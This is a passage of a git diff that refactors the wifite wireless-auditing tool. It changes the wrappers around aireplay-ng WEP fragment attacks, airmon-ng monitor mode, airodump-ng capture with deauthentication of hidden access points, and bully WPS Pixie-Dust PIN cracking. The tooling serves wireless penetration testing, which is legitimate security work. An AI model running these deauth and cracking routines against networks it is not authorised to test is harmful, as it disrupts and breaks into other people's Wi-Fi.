(ERROR) fakeauth required + if 'try running aireplay-ng in authenticated mode' in line: + self.status = 'fakeauth is required and you are not authenticated' + elif self.attack_type == WEPAttackType.fragment: - # TODO: Parse fragment output, update self.status + # Parse fragment output, update self.status + + # (START) Read 178 packets... + read_re = re.compile(r"Read (\d+) packets") + matches = read_re.match(line) + if matches: + self.status = "Waiting for packet (read %s)..." % matches.group(1) + # 01:08:15 Waiting for a data packet... + if 'Waiting for a data packet' in line: + self.status = 'waiting for packet' + + # Read 207 packets... + trying_re = re.compile(r"Trying to get (\d+) bytes of a keystream") + matches = trying_re.match(line) + if matches: + self.status = 'trying to get %sb of a keystream' % matches.group(1) + # 01:08:17 Sending fragmented packet + if 'Sending fragmented packet' in line: + self.status = 'sending packet' + # 01:08:37 Still nothing, trying another packet... + if 'Still nothing, trying another packet' in line: + self.status = 'sending another packet' + # XX:XX:XX Trying to get 1500 bytes of a keystream + trying_re = re.compile(r"Trying to get (\d+) bytes of a keystream") + matches = trying_re.match(line) + if matches: + self.status = 'trying to get %sb of a keystream' % matches.group(1) + # XX:XX:XX Got RELAYED packet!! + if 'Got RELAYED packet' in line: + self.status = 'got relayed packet' + # XX:XX:XX Thats our ARP packet! + if 'Thats our ARP packet' in line: + self.status = 'relayed packet was our' + # XX:XX:XX Saving keystream in fragment-0124-161129.xor + saving_re = re.compile(r"Saving keystream in (.*\.xor)") + matches = saving_re.match(line) + if matches: + self.status = 'saving keystream to %s' % matches.group(1) + # XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream - pass + else: # Replay, forged replay, etc. # Parse Packets Sent & PacketsPerSecond. Possible output lines: # Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps) @@ -162,7 +227,7 @@ def run(self): if pps == "0": self.status = "Waiting for packet..." else: - self.status = "Replaying packet @ %s/sec" % pps + self.status = "Replaying @ %s/sec" % pps pass def __del__(self): @@ -188,7 +253,7 @@ def get_aireplay_command(target, attack_type, cmd = ["aireplay-ng"] cmd.append("--ignore-negative-one") - if not client_mac and len(target.clients) > 0: + if client_mac is None and len(target.clients) > 0: # Client MAC wasn't specified, but there's an associated client. Use that. client_mac = target.clients[0].station @@ -378,12 +443,12 @@ def fakeauth(target, timeout=5, num_attempts=3): if __name__ == '__main__': t = WEPAttackType(4) - print t.name, type(t.name), t.value + print(t.name, type(t.name), t.value) t = WEPAttackType('caffelatte') - print t.name, type(t.name), t.value + print(t.name, type(t.name), t.value) t = WEPAttackType(t) - print t.name, type(t.name), t.value + print(t.name, type(t.name), t.value) from ..model.target import Target fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',') @@ -395,13 +460,13 @@ def fakeauth(target, timeout=5, num_attempts=3): from time import sleep sleep(0.1) stdout, stderr = aireplay.get_output() - print "STDOUT>", stdout - print "STDERR>", stderr + print("STDOUT>", stdout) + print("STDERR>", stderr) ''' ''' forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \ 'A4:2B:8C:16:6B:3A', \ '00:C0:CA:4E:CA:E0') - print forge + print(forge) ''' diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index 352bd0b23..f0adcc818 100755 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -1,37 +1,83 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- -from ..model.interface import Interface +from .dependency import Dependency +from .ifconfig import Ifconfig +from .iwconfig import Iwconfig from ..util.process import Process from ..util.color import Color +from ..util.input import raw_input from ..config import Configuration import re import os import signal -class Airmon(object): +class AirmonIface(object): + def __init__(self, phy, interface, driver, chipset): + self.phy = phy + self.interface = interface + self.driver = driver + self.chipset = chipset + self.mac_address = Ifconfig.get_mac(interface) + + # Max length of fields. Used for printing a table of interfaces. + INTERFACE_LEN = 12 + PHY_LEN = 6 + DRIVER_LEN = 20 + CHIPSET_LEN = 30 + + + def __str__(self): + ''' Colored string representation of interface ''' + s = '' + s += Color.s('{G}%s' % self.interface.ljust(self.INTERFACE_LEN)) + s += Color.s('{W}%s' % self.phy.ljust(self.PHY_LEN)) + s += Color.s('{C}%s' % self.driver.ljust(self.DRIVER_LEN)) + s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN)) + return s + + + @staticmethod + def menu_header(): + ''' Colored header row for interfaces ''' + s = ' ' # Space for index # + s += 'Interface'.ljust(AirmonIface.INTERFACE_LEN) + s += 'PHY'.ljust(AirmonIface.PHY_LEN) + s += 'Driver'.ljust(AirmonIface.DRIVER_LEN) + s += 'Chipset'.ljust(AirmonIface.CHIPSET_LEN) + s += '\n' + s += '-' * (AirmonIface.INTERFACE_LEN + AirmonIface.PHY_LEN + AirmonIface.DRIVER_LEN + AirmonIface.CHIPSET_LEN + 3) + return s + + +class Airmon(Dependency): ''' Wrapper around the 'airmon-ng' program ''' - base_interface = None - killed_network_manager = False + dependency_required = True + dependency_name = 'airmon-ng' + dependency_url = 'https://www.aircrack-ng.org/install.html' + + base_interface = None # Interface *before* it was put into monitor mode. + killed_network_manager = False # If we killed network-manager + + # Drivers that need to be manually put into monitor mode + BAD_DRIVERS = ['rtl8821au'] #see if_arp.h ARPHRD_ETHER = 1 #managed ARPHRD_IEEE80211_RADIOTAP = 803 #monitor def __init__(self): - self.refresh() - - def refresh(self): - ''' Get airmon-recognized interfaces ''' self.interfaces = Airmon.get_interfaces() + def print_menu(self): ''' Prints menu ''' - print Interface.menu_header() + print(AirmonIface.menu_header()) for idx, iface in enumerate(self.interfaces, start=1): Color.pl(" {G}%d{W}. %s" % (idx, iface)) + def get(self, index): ''' Gets interface at index (starts at 1) ''' if type(index) is str: @@ -41,42 +87,64 @@ def get(self, index): @staticmethod def get_interfaces(): - ''' - Returns: - List of Interface objects known by airmon-ng - ''' + '''Returns List of AirmonIface objects known by airmon-ng''' interfaces = [] p = Process('airmon-ng') for line in p.stdout().split('\n'): - # Ignore blank/header lines - if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): + # [PHY ]IFACE DRIVER CHIPSET + airmon_re = re.compile(r'^(?:([^\t]*)\t+)?([^\t]*)\t+([^\t]*)\t+([^\t]*)$') + matches = airmon_re.match(line) + if not matches: continue - # Strip out interface information - fields = line.split("\t") - while '' in fields: - fields.remove('') - # Add Interface object to list - interfaces.append(Interface(fields)) + phy, interface, driver, chipset = matches.groups() + if phy == 'PHY' or phy == 'Interface': + continue # Header + + interfaces.append(AirmonIface(phy, interface, driver, chipset)) + return interfaces + @staticmethod - def start_baddriver(iface): #fix for bad drivers like the rtl8812AU - os.system("ifconfig %s down; iwconfig %s mode monitor; ifconfig %s up" % (iface, iface, iface)) - with open("/sys/class/net/" + iface + "/type", "r") as f: - if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP): - return iface + def start_bad_driver(iface): + ''' + Manually put interface into monitor mode (no airmon-ng or vif). + Fix for bad drivers like the rtl8812AU. + ''' + Ifconfig.down(iface) + Iwconfig.mode(iface, 'monitor') + Ifconfig.up(iface) + + # /sys/class/net/wlan0/type + iface_type_path = os.path.join('/sys/class/net', iface, 'type') + if os.path.exists(iface_type_path): + with open(iface_type_path, 'r') as f: + if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP): + return iface + + return None - return None @staticmethod - def stop_baddriver(iface): - os.system("ifconfig %s down; iwconfig %s mode managed; ifconfig %s up" % (iface, iface, iface)) - with open("/sys/class/net/" + iface + "/type", "r") as f: - if (int(f.read()) == Airmon.ARPHRD_ETHER): - return iface + def stop_bad_driver(iface): + ''' + Manually put interface into managed mode (no airmon-ng or vif). + Fix for bad drivers like the rtl8812AU. + ''' + Ifconfig.down(iface) + Iwconfig.mode(iface, 'managed') + Ifconfig.up(iface) + + # /sys/class/net/wlan0/type + iface_type_path = os.path.join('/sys/class/net', iface, 'type') + if os.path.exists(iface_type_path): + with open(iface_type_path, 'r') as f: + if (int(f.read()) == Airmon.ARPHRD_ETHER): + return iface + + return None - return None @staticmethod def start(iface): @@ -84,7 +152,7 @@ def start(iface): Starts an interface (iface) in monitor mode Args: iface - The interface to start in monitor mode - Either an instance of Interface object, + Either an instance of AirmonIface object, or the name of the interface (string). Returns: Name of the interface put into monitor mode. @@ -92,123 +160,142 @@ def start(iface): Exception - If an interface can't be put into monitor mode ''' # Get interface name from input - if type(iface) == Interface: - iface = iface.name - Airmon.base_interface = iface - - # Call airmon-ng - Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface) - (out,err) = Process.call('airmon-ng start %s' % iface) - - # Find the interface put into monitor mode (if any) - mon_iface = None - for line in out.split('\n'): - if 'monitor mode' in line and 'enabled' in line and ' on ' in line: - mon_iface = line.split(' on ')[1] - if ']' in mon_iface: - mon_iface = mon_iface.split(']')[1] - if ')' in mon_iface: - mon_iface = mon_iface.split(')')[0] - break - - if mon_iface is None: - # Airmon did not enable monitor mode on an interface - mon_iface = Airmon.start_baddriver(iface) - if mon_iface is None: - Color.pl("{R}failed{W}") - - mon_ifaces = Airmon.get_interfaces_in_monitor_mode() + if type(iface) == AirmonIface: + iface_name = iface.interface + driver = iface.driver + else: + iface_name = iface + driver = None + + # Remember this as the "base" interface. + Airmon.base_interface = iface_name + + Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface_name) + + airmon_output = Process(['airmon-ng', 'start', iface_name]).stdout() + + enabled_iface = Airmon._parse_airmon_start(airmon_output) + + if enabled_iface is None and driver in Airmon.BAD_DRIVERS: + Color.p('{O}"bad driver" detected{W} ') + enabled_iface = Airmon.start_bad_driver(iface_name) + + if enabled_iface is None: + Color.pl("{R}failed{W}") + + monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') # Assert that there is an interface in monitor mode - if len(mon_ifaces) == 0: + if len(monitor_interfaces) == 0: Color.pl("{R}failed{W}") - raise Exception("iwconfig does not see any interfaces in Mode:Monitor") + raise Exception("Cannot find any interfaces in Mode:Monitor") # Assert that the interface enabled by airmon-ng is in monitor mode - if mon_iface not in mon_ifaces: + if enabled_iface not in monitor_interfaces: Color.pl("{R}failed{W}") - raise Exception("iwconfig does not see %s in Mode:Monitor" % mon_iface) + raise Exception("Cannot find %s with Mode:Monitor" % enabled_iface) - # No errors found; the device 'mon_iface' was put into MM. - Color.pl("{G}enabled {C}%s{W}" % mon_iface) + # No errors found; the device 'enabled_iface' was put into Mode:Monitor. + Color.pl("{G}enabled {C}%s{W}" % enabled_iface) - Configuration.interface = mon_iface + return enabled_iface - return mon_iface + + @staticmethod + def _parse_airmon_start(airmon_output): + '''Returns the interface name that was put into monitor mode (if any)''' + + # airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon) + enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*') + + # airmon-ng output from https://www.aircrack-ng.org/doku.php?id=iwlagn + enabled_re2 = re.compile(r'\s*\(monitor mode enabled on (\w+)\)') + + for line in airmon_output.split('\n'): + matches = enabled_re.match(line) + if matches: + return matches.group(1) + + matches = enabled_re2.match(line) + if matches: + return matches.group(1) + + return None @staticmethod def stop(iface): Color.p("{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... " % iface) - (out,err) = Process.call('airmon-ng stop %s' % iface) - mon_iface = None - for line in out.split('\n'): - # aircrack-ng 1.2 rc2 - if 'monitor mode' in line and 'disabled' in line and ' for ' in line: - mon_iface = line.split(' for ')[1] - if ']' in mon_iface: - mon_iface = mon_iface.split(']')[1] - if ')' in mon_iface: - mon_iface = mon_iface.split(')')[0] - break - - # aircrack-ng 1.2 rc1 - match = re.search('([a-zA-Z0-9]+).*\(removed\)', line) - if match: - mon_iface = match.groups()[0] - break - if not mon_iface: - mon_iface = Airmon.stop_baddriver(iface) + airmon_output = Process(['airmon-ng', 'stop', iface]).stdout() + + (disabled_iface, enabled_iface) = Airmon._parse_airmon_stop(airmon_output) - if mon_iface: - Color.pl('{R}disabled %s{W}' % mon_iface) + if not disabled_iface and iface in Airmon.BAD_DRIVERS: + Color.p('{O}"bad driver" detected{W} ') + disabled_iface = Airmon.stop_bad_driver(iface) + + if disabled_iface: + Color.pl('{G}disabled %s{W}' % disabled_iface) else: Color.pl('{O}could not disable on {R}%s{W}' % iface) + return (disabled_iface, enabled_iface) + @staticmethod - def get_interfaces_in_monitor_mode(): - ''' - Uses 'iwconfig' to find all interfaces in monitor mode - Returns: - List of interface names that are in monitor mode - ''' - interfaces = [] - (out, err) = Process.call("iwconfig") - for line in out.split("\n"): - if len(line) == 0: continue - if line[0] != ' ': - iface = line.split(' ')[0] - if '\t' in iface: - iface = iface.split('\t')[0] - if 'Mode:Monitor' in line and iface not in interfaces: - interfaces.append(iface) - return interfaces + def _parse_airmon_stop(airmon_output): + '''Find the interface taken out of into monitor mode (if any)''' + + # airmon-ng 1.2rc2 output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon) + disabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?disabled for (?:\[\w+\])?(\w+)\)\s*') + + # airmon-ng 1.2rc1 output: wlan0mon (removed) + removed_re = re.compile(r'([a-zA-Z0-9]+).*\(removed\)') + + # Enabled interface: (mac80211 station mode vif enabled on [phy4]wlan0) + enabled_re = re.compile(r'\s*\(mac80211 station mode (?:vif )?enabled on (?:\[\w+\])?(\w+)\)\s*') + + disabled_iface = None + enabled_iface = None + for line in airmon_output.split('\n'): + matches = disabled_re.match(line) + if matches: + disabled_iface = matches.group(1) + + matches = removed_re.match(line) + if matches: + disabled_iface = matches.group(1) + + matches = enabled_re.match(line) + if matches: + enabled_iface = matches.group(1) + + return (disabled_iface, enabled_iface) @staticmethod def ask(): ''' - Asks user to define which wireless interface to use. - Does not ask if: - 1. There is already an interface in monitor mode, or - 2. There is only one wireles interface (automatically selected). - Puts selected device into Monitor Mode. + Asks user to define which wireless interface to use. + Does not ask if: + 1. There is already an interface in monitor mode, or + 2. There is only one wireless interface (automatically selected). + Puts selected device into Monitor Mode. ''' Airmon.terminate_conflicting_processes() - Color.pl('\n{+} looking for {C}wireless interfaces{W}') - mon_ifaces = Airmon.get_interfaces_in_monitor_mode() - mon_count = len(mon_ifaces) - if mon_count == 1: + Color.p('\n{+} looking for {C}wireless interfaces{W}... ') + monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') + if len(monitor_interfaces) == 1: # Assume we're using the device already in montior mode - iface = mon_ifaces[0] - Color.pl('{+} using interface {G}%s{W} which is already in monitor mode' - % iface); + iface = monitor_interfaces[0] + Color.pl('using interface {G}%s{W} (already in monitor mode)' % iface); + #Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}') Airmon.base_interface = None return iface + Color.pl('') a = Airmon() count = len(a.interfaces) @@ -235,63 +322,60 @@ def ask(): iface = a.get(choice) - if a.get(choice).name in mon_ifaces: - Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name) + if a.get(choice).interface in monitor_interfaces: + Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.interface) else: - iface.name = Airmon.start(iface) - return iface.name + iface.interface = Airmon.start(iface) + return iface.interface @staticmethod def terminate_conflicting_processes(): ''' Deletes conflicting processes reported by airmon-ng ''' - ''' - % airmon-ng check - - Found 3 processes that could cause trouble. - If airodump-ng, aireplay-ng or airtun-ng stops working after - a short period of time, you may want to kill (some of) them! - -e - PID Name - 2272 dhclient - 2293 NetworkManager - 3302 wpa_supplicant - ''' + airmon_output = Process(['airmon-ng', 'check']).stdout() - out = Process(['airmon-ng', 'check']).stdout() - if 'processes that could cause trouble' not in out: - # No proceses to kill - return + # Conflicting process IDs and names + pid_pnames = [] - hit_pids = False - for line in out.split('\n'): - if re.search('^ *PID', line): - hit_pids = True - continue - if not hit_pids or line.strip() == '': - continue - match = re.search('^[ \t]*(\d+)[ \t]*([a-zA-Z0-9_\-]+)[ \t]*$', line) + # 2272 dhclient + # 2293 NetworkManager + pid_pname_re = re.compile(r'^\s*(\d+)\s*([a-zA-Z0-9_\-]+)\s*$') + for line in airmon_output.split('\n'): + match = pid_pname_re.match(line) if match: - # Found process - pid = match.groups()[0] - pname = match.groups()[1] - if Configuration.kill_conflicting_processes: - Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid)) - os.kill(int(pid), signal.SIGTERM) - if pname == 'NetworkManager': - Airmon.killed_network_manager= True - else: - Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid)) + pid = match.group(1) + pname = match.group(2) + pid_pnames.append( (pid, pname) ) + + if len(pid_pnames) == 0: + return if not Configuration.kill_conflicting_processes: - Color.pl('{!} {O}if you have problems, try killing these processes ({R}kill -9 PID{O}){W}') + # Don't kill processes, warn user + for pid, pname in pid_pnames: + Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid)) + Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}') + return + + Color.pl('{!} {O}killing {R}%d {O}conflicting processes' % len(pid_pnames)) + for pid, pname in pid_pnames: + if pname == 'NetworkManager' and Process.exists('service'): + Color.pl('{!} {O}stopping network-manager ({R}service network-manager stop{O})') + # Can't just pkill network manager; it's a service + Process(['service', 'network-manager', 'stop']).wait() + Airmon.killed_network_manager = True + else: + Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid)) + os.kill(int(pid), signal.SIGTERM) + @staticmethod def put_interface_up(iface): Color.p("{!} {O}putting interface {R}%s up{O}..." % (iface)) - (out,err) = Process.call('ifconfig %s up' % (iface)) - Color.pl(" {R}done{W}") + Ifconfig.up(iface) + Color.pl(" {G}done{W}") + @staticmethod def start_network_manager(): @@ -330,4 +414,7 @@ def start_network_manager(): if __name__ == '__main__': Airmon.terminate_conflicting_processes() iface = Airmon.ask() - Airmon.stop(iface) + (disabled_iface, enabled_iface) = Airmon.stop(iface) + print("Disabled:", disabled_iface) + print("Enabled:", enabled_iface) + diff --git a/wifite/tools/airodump.py b/wifite/tools/airodump.py index 7e52d7d14..e00acbcdb 100755 --- a/wifite/tools/airodump.py +++ b/wifite/tools/airodump.py @@ -1,7 +1,9 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency from .tshark import Tshark +from .wash import Wash from ..util.process import Process from ..config import Configuration from ..model.target import Target @@ -9,15 +11,16 @@ import os, time -class Airodump(object): +class Airodump(Dependency): ''' Wrapper around airodump-ng program ''' + dependency_required = True + dependency_name = 'airodump-ng' + dependency_url = 'https://www.aircrack-ng.org/install.html' def __init__(self, interface=None, channel=None, encryption=None,\ wps=False, target_bssid=None, output_file_prefix='airodump',\ - ivs_only=False, skip_wps=False): - ''' - Sets up airodump arguments, doesn't start process yet - ''' + ivs_only=False, skip_wps=False, delete_existing_files=True): + '''Sets up airodump arguments, doesn't start process yet.''' Configuration.initialize() @@ -44,17 +47,20 @@ def __init__(self, interface=None, channel=None, encryption=None,\ # For tracking decloaked APs (previously were hidden) self.decloaking = False - self.decloaked_targets = [] + self.decloaked_bssids = set() self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth + self.delete_existing_files = delete_existing_files + def __enter__(self): ''' - Setting things up for this context. - Called at start of 'with Airodump(...) as x:' - Actually starts the airodump process. + Setting things up for this context. + Called at start of 'with Airodump(...) as x:' + Actually starts the airodump process. ''' - self.delete_airodump_temp_files() + if self.delete_existing_files: + self.delete_airodump_temp_files(self.output_file_prefix) self.csv_file_prefix = Configuration.temp() + self.output_file_prefix @@ -66,22 +72,15 @@ def __enter__(self): '-w', self.csv_file_prefix, # Output file prefix '--write-interval', '1' # Write every second ] - if self.channel: - command.extend(['-c', str(self.channel)]) - elif self.five_ghz: - command.extend(['--band', 'a']) - - if self.encryption: - command.extend(['--enc', self.encryption]) - if self.wps: - command.extend(['--wps']) - if self.target_bssid: - command.extend(['--bssid', self.target_bssid]) - - if self.ivs_only: - command.extend(['--output-format', 'ivs,csv']) - else: - command.extend(['--output-format', 'pcap,csv']) + if self.channel: command.extend(['-c', str(self.channel)]) + elif self.five_ghz: command.extend(['--band', 'a']) + + if self.encryption: command.extend(['--enc', self.encryption]) + if self.wps: command.extend(['--wps']) + if self.target_bssid: command.extend(['--bssid', self.target_bssid]) + + if self.ivs_only: command.extend(['--output-format', 'ivs,csv']) + else: command.extend(['--output-format', 'pcap,csv']) # Start the process self.pid = Process(command, devnull=True) @@ -90,32 +89,41 @@ def __enter__(self): def __exit__(self, type, value, traceback): ''' - Tearing things down since the context is being exited. - Called after 'with Airodump(...)' goes out of scope. + Tearing things down since the context is being exited. + Called after 'with Airodump(...)' goes out of scope. ''' # Kill the process self.pid.interrupt() - # Delete temp files - self.delete_airodump_temp_files() + if self.delete_existing_files: + self.delete_airodump_temp_files(self.output_file_prefix) def find_files(self, endswith=None): + return self.find_files_by_output_prefix(self.output_file_prefix, endswith=endswith) + + @classmethod + def find_files_by_output_prefix(cls, output_file_prefix, endswith=None): ''' Finds all files in the temp directory that start with the output_file_prefix ''' result = [] - for fil in os.listdir(Configuration.temp()): - if fil.startswith(self.output_file_prefix): - if not endswith or fil.endswith(endswith): - result.append(Configuration.temp() + fil) + temp = Configuration.temp() + for fil in os.listdir(temp): + if not fil.startswith(output_file_prefix): + continue + + if endswith is None or fil.endswith(endswith): + result.append(os.path.join(temp, fil)) + return result - def delete_airodump_temp_files(self): + @classmethod + def delete_airodump_temp_files(cls, output_file_prefix): ''' - Deletes airodump* files in the temp directory. - Also deletes replay_*.cap and *.xor files in pwd. + Deletes airodump* files in the temp directory. + Also deletes replay_*.cap and *.xor files in pwd. ''' # Remove all temp files - for fil in self.find_files(): + for fil in cls.find_files_by_output_prefix(output_file_prefix): os.remove(fil) # Remove .cap and .xor files from pwd @@ -123,26 +131,34 @@ def delete_airodump_temp_files(self): if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): os.remove(fil) + # Remove replay/cap/xor files from temp + temp_dir = Configuration.temp() + for fil in os.listdir(temp_dir): + if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): + os.remove(os.path.join(temp_dir, fil)) + def get_targets(self, apply_filter=True): ''' Parses airodump's CSV file, returns list of Targets ''' # Find the .CSV file csv_filename = None - for fil in self.find_files(endswith='-01.csv'): - # Found the file - csv_filename = fil + for fil in self.find_files(endswith='.csv'): + csv_filename = fil # Found the file break + if csv_filename is None or not os.path.exists(csv_filename): - # No file found - return self.targets + return self.targets # No file found - # Parse the .CSV file targets = Airodump.get_targets_from_csv(csv_filename) # Check targets for WPS if not self.skip_wps: capfile = csv_filename[:-3] + 'cap' - Tshark.check_for_wps_and_update_targets(capfile, targets) + try: + Tshark.check_for_wps_and_update_targets(capfile, targets) + except Exception as e: + # No tshark, or it failed. Fall-back to wash + Wash.check_for_wps_and_update_targets(capfile, targets) if apply_filter: # Filter targets based on encryption & WPS capability @@ -151,12 +167,16 @@ def get_targets(self, apply_filter=True): # Sort by power targets.sort(key=lambda x: x.power, reverse=True) + # Identify decloaked targets for old_target in self.targets: for new_target in targets: - if old_target.bssid != new_target.bssid: continue + if old_target.bssid != new_target.bssid: + continue + if new_target.essid_known and not old_target.essid_known: # We decloaked a target! - self.decloaked_targets.append(new_target) + new_target.decloaked = True + self.decloaked_bssids.add(new_target.bssid) if self.pid.poll() is not None: raise Exception('Airodump has stopped') @@ -169,14 +189,21 @@ def get_targets(self, apply_filter=True): @staticmethod def get_targets_from_csv(csv_filename): - ''' - Returns list of Target objects parsed from CSV file - ''' + '''Returns list of Target objects parsed from CSV file.''' targets = [] import csv with open(csv_filename, 'rb') as csvopen: - lines = (line.replace('\0', '') for line in csvopen) - csv_reader = csv.reader(lines, delimiter=',') + lines = [] + for line in csvopen: + if type(line) is bytes: line = line.decode('utf-8') + line = line.replace('\0', '') + lines.append(line) + csv_reader = csv.reader(lines, + delimiter=',', + quoting=csv.QUOTE_ALL, + skipinitialspace=True, + escapechar='\\') + hit_clients = False for row in csv_reader: # Each "row" is a list of fields for a target/client @@ -227,6 +254,8 @@ def filter_targets(targets, skip_wps=False): result = [] # Filter based on Encryption for target in targets: + if Configuration.clients_only and len(target.clients) == 0: + continue if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption: result.append(target) elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption: @@ -253,16 +282,16 @@ def filter_targets(targets, skip_wps=False): def deauth_hidden_targets(self): ''' - Sends deauths (to broadcast and to each client) for all - targets (APs) that have unknown ESSIDs (hidden router names). + Sends deauths (to broadcast and to each client) for all + targets (APs) that have unknown ESSIDs (hidden router names). ''' self.decloaking = False - # Do not deauth if requested - if Configuration.no_deauth: return + if Configuration.no_deauth: + return # Do not deauth if requested - # Do not deauth if channel is not fixed. - if self.channel is None: return + if self.channel is None: + return # Do not deauth if channel is not fixed. # Reusable deauth command deauth_cmd = [ @@ -271,22 +300,27 @@ def deauth_hidden_targets(self): str(Configuration.num_deauths), # Number of deauth packets to send '--ignore-negative-one' ] + for target in self.targets: - if target.essid_known: continue + if target.essid_known: + continue + now = int(time.time()) secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0) - # Decloak every AP once every 30 seconds - if secs_since_decloak < 30: continue + + if secs_since_decloak < 30: + continue # Decloak every AP once every 30 seconds + self.decloaking = True self.decloaked_times[target.bssid] = now if Configuration.verbose > 1: from ..util.color import Color - verbout = " [?] Deauthing %s" % target.bssid - verbout += " (broadcast & %d clients)" % len(target.clients) - Color.pe("\n{C}" + verbout + "{W}") + Color.pe('{C} [?] Deauthing %s (broadcast & %d clients){W}' % (target.bssid, len(target.clients))) + # Deauth broadcast iface = Configuration.interface Process(deauth_cmd + ['-a', target.bssid, iface]) + # Deauth clients for client in target.clients: Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface]) @@ -305,4 +339,3 @@ def deauth_hidden_targets(self): Color.pl(' {G}%s %s' % (str(idx).rjust(3), target.to_str())) Configuration.delete_temp() - diff --git a/wifite/tools/bully.py b/wifite/tools/bully.py index c083e02f0..17099cd08 100755 --- a/wifite/tools/bully.py +++ b/wifite/tools/bully.py @@ -1,24 +1,29 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency +from .airodump import Airodump from ..model.attack import Attack -from ..tools.airodump import Airodump +from ..model.wps_result import CrackResultWPS from ..util.color import Color from ..util.timer import Timer from ..util.process import Process from ..config import Configuration -from ..model.wps_result import CrackResultWPS import os, time, re from threading import Thread -class Bully(Attack): +class Bully(Attack, Dependency): + dependency_required = False + dependency_name = 'bully' + dependency_url = 'https://github.com/aanarchyy/bully' + def __init__(self, target): super(Bully, self).__init__(target) - self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0 - self.pins_attempted = 0 + self.total_timeouts = 0 + self.total_failures = 0 + self.locked = False self.state = "{O}Waiting for beacon{W}" - self.m_state = None self.start_time = time.time() self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None @@ -26,8 +31,14 @@ def __init__(self, target): self.target = target - self.cmd = [ - "stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292 + self.cmd = [] + + if Process.exists('stdbuf'): + self.cmd.extend([ + "stdbuf", "-o0" # No buffer. See https://stackoverflow.com/a/40453613/7510292 + ]) + + self.cmd.extend([ "bully", "--bssid", target.bssid, "--channel", target.channel, @@ -36,12 +47,10 @@ def __init__(self, target): "-v", "4", "--pixiewps", Configuration.interface - ] + ]) self.bully_proc = None - def attack_type(self): - return "Pixie-Dust" def run(self): with Airodump(channel=self.target.channel, @@ -49,11 +58,7 @@ def run(self): skip_wps=True, output_file_prefix='wps_pin') as airodump: # Wait for target - Color.clear_entire_line() - Color.pattack("WPS", - self.target, - self.attack_type(), - "Waiting for target to appear...") + self.pattack("Waiting for target to appear...") self.target = self.wait_for_target(airodump) # Start bully @@ -61,27 +66,42 @@ def run(self): stderr=Process.devnull(), bufsize=0, cwd=Configuration.temp()) + + # Start bully status thread t = Thread(target=self.parse_line_thread) t.daemon = True t.start() + try: while self.bully_proc.poll() is None: try: self.target = self.wait_for_target(airodump) except Exception as e: - Color.clear_entire_line() - Color.pattack("WPS", - self.target, - self.attack_type(), - "{R}failed: {O}%s{W}" % e) - Color.pl("") + self.pattack('{R}Failed: {O}%s{W}' % e, newline=True) self.stop() break - Color.clear_entire_line() - Color.pattack("WPS", - self.target, - self.attack_type(), - self.get_status()) + + # Update status + self.pattack(self.get_status()) + + # Check if entire attack timed out. + if self.running_time() > Configuration.wps_pixie_timeout: + self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True) + self.stop() + return + + # Check if timeout threshold was breached + if self.total_timeouts >= Configuration.wps_timeout_threshold: + self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True) + self.stop() + return + + # Check if WPSFail threshold was breached + if self.total_failures >= Configuration.wps_fail_threshold: + self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True) + self.stop() + return + time.sleep(0.5) except KeyboardInterrupt as e: self.stop() @@ -91,130 +111,217 @@ def run(self): raise e if self.crack_result is None: - Color.clear_entire_line() - Color.pattack("WPS", - self.target, - self.attack_type(), - "{R}Failed{W}\n") + self.pattack("{R}Failed{W}", newline=True) + + + def pattack(self, message, newline=False): + # Print message with attack information. + time_left = Configuration.wps_pixie_timeout - self.running_time() + + Color.clear_entire_line() + Color.pattack("WPS", + 